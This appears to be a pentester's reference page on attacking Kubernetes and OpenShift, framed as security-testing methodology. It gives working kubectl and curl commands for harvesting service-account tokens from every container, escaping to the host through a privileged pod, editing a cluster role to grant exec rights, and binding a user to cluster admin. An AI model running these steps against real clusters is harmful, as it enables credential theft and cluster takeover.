> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/devops/containerization-orchestration.md).

# Containerization / Orchestration

## Kubernetes

* <https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security>
* <https://redteamrecipe.com/100-Method-For-Container-Attacks/>

### kubectl

* <https://kubernetes.io/ru/docs/tasks/tools/install-kubectl/>

Get `kubectl`:

```bash
curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
kubectl version --client
```

Basic authenticated enumeration (the service account token from `/run/secrets/kubernetes.io/serviceaccount/token` can be parsed at [jwt.io](https://jwt.io/)):

```
$ kubectl auth can-i --list
$ kubectl get namespaces
$ kubectl auth can-i --list -n <NAMESPACE>
$ kubectl get pods -n <NAMESPACE>
$ kubectl describe pods <POD> -n <NAMESPACE>
$ kubectl get secrets -n <NAMESPACE>
$ kubectl describe secrets -n <NAMESPACE>
$ kubectl --token=$(cat token) auth can-i create pods
```

To use kubectl from a remote host:

```
$ ls -la {/run/secrets,/var/run/secrets,/secrets}/kubernetes.io/serviceaccount
$ kubectl auth can-i --list -n kube-system --token `cat token` --server https://192.168.1.11:443 --certificate-authority ca.crt
```

{% hint style="info" %}

* <https://kubernetes.io/docs/tasks/extend-kubernetes/socks5-proxy-access-api/>

Due to proxychains mostly does not work with Go binaries, export `HTTPS_PROXY=socks5://localhost:1080` in order to use kubectl through a SOCKS tunnel.
{% endhint %}

### Bad Pods

* <https://github.com/BishopFox/badPods>

Deploy a custom pod:

```
$ kubectl apply -f evilpod.yml
$ kubectl exec --stdin --tty -it evilpod -- chroot /hostfs bash
```

### Kubernetes API Server Paths

Check these kube-apiserver paths for anonymous access (stolen from [HackTricks](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services#kube-apiserver-anonymous-access)):

```
/api
/api/v1
/apis
/apis
/apis/admissionregistration.k8s.io
/apis/admissionregistration.k8s.io/v1beta1
/apis/apiextensions.k8s.io
/apis/apiextensions.k8s.io/v1beta1
/apis/apiregistration.k8s.io
/apis/apiregistration.k8s.io/v1
/apis/apiregistration.k8s.io/v1beta1
/apis/apps
/apis/apps/v1
/apis/apps/v1beta1
/apis/apps/v1beta2
/apis/authentication.k8s.io
/apis/authentication.k8s.io/v1
/apis/authentication.k8s.io/v1beta1
/apis/authorization.k8s.i
/apis/authorization.k8s.io/v1
/apis/authorization.k8s.io/v1beta1
/apis/autoscaling
/apis/autoscaling/v1
/apis/autoscaling/v2beta1
/apis/batch
/apis/batch/v1
/apis/batch/v1beta1
/apis/certificates.k8s.io
/apis/certificates.k8s.io/v1beta1
```

### Pod Escape

#### CVE-2022-0492 (cgroups)

* <https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/>
* <https://0xdf.gitlab.io/2021/05/17/digging-into-cgroups.html>
* <https://github.com/puckiestyle/CVE-2022-0492>
* <https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC>
* <https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/escaping-from-a-docker-container.md>

### Node Post-Exploitation

* <https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod#node-post-exploitation>

#### clusterrole-aggregation-controller

A study case in taking over the cluster after escaping from a pod to a worker node.

Extract tokens from all the running containers:

```
$ for c in `docker ps -q`; do echo $c; docker exec $c 'cat /var/run/secrets/kubernetes.io/serviceaccount/token' | tee tokens/$c; echo; echo; done
```

Check privileges of each token:

```
$ for t in `ls tokens`; do echo $t; kubectl --token `cat tokens/$t --server https://10.10.0.1 --certificate-authority ca.crt auth can-i --list -n kube-system; done
```

List kube-system secrets with a discovered privileged token:

```
$ kubectl --token `cat tokens/1337deadbeef` --server https://10.10.0.1 --certificate-authority ca.crt get secrets [-o yaml] -n kube-system
```

Add exec privilege with `clusterrole-aggregation-controller` token to itself:

```
$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt auth can-i create pods --subresource exec -n kube-system
no

$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt edit clusterrole system:controller:clusterrole-aggregation-controller
resources:
  - pods
  - pods/exec
verbs:
  - create

$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt auth can-i create pods --subresource exec -n kube-system
yes
```

Look for a privileged pod to exec into it:

```
$ kubectl --kubeconfig /etc/kubernetes/kubelet-kubeconfig.conf get pods --all-namespaces -o wide --filed-selector spec.nodeName=kube-master-01
$ kubectl --kubeconfig /etc/kubernetes/kubelet-kubeconfig.conf get pods some-pod-name -n some-namespace -o json | grep privileged
"privileged": true
```

Do it:

```
$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt exec -it some-pod-name -- bash
cat /proc/self/status | grep Cap
```

### Tools

#### kube-hunter

* <https://github.com/aquasecurity/kube-hunter>

```
$ kube-hunter --cidr 10.0.1.0/24 --active
```

### Training Labs

* <https://www.bustakube.com/>
* <https://0xdf.gitlab.io/2021/09/04/htb-unobtainium.html>

{% embed url="<https://youtu.be/UgHt_Y3vdNg>" %}

## Red Hat OpenShift

* <https://github.com/cherkavi/cheat-sheet/blob/master/openshift.md>

Grant a low-priv user admin's privileges across the cluster [via REST API](https://access.redhat.com/solutions/5492301):

```json
curl -k -X POST 'https://cluster.megacorp.local:8443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings' \
  -H 'Authorization: Bearer <TOKEN>'  \
  -H 'Accept: application/json'       \
  -H 'Content-Type: application/json' \
  -d'
{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": {
    "name": "pwned",
    "creationTimestamp": null
  },
  "subjects": [
    {
      "kind": "User",
      "apiGroup": "rbac.authorization.k8s.io",
      "name": "snovvcrash@megacorp.local"
    }
  ],
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "admin"
  }
}'
```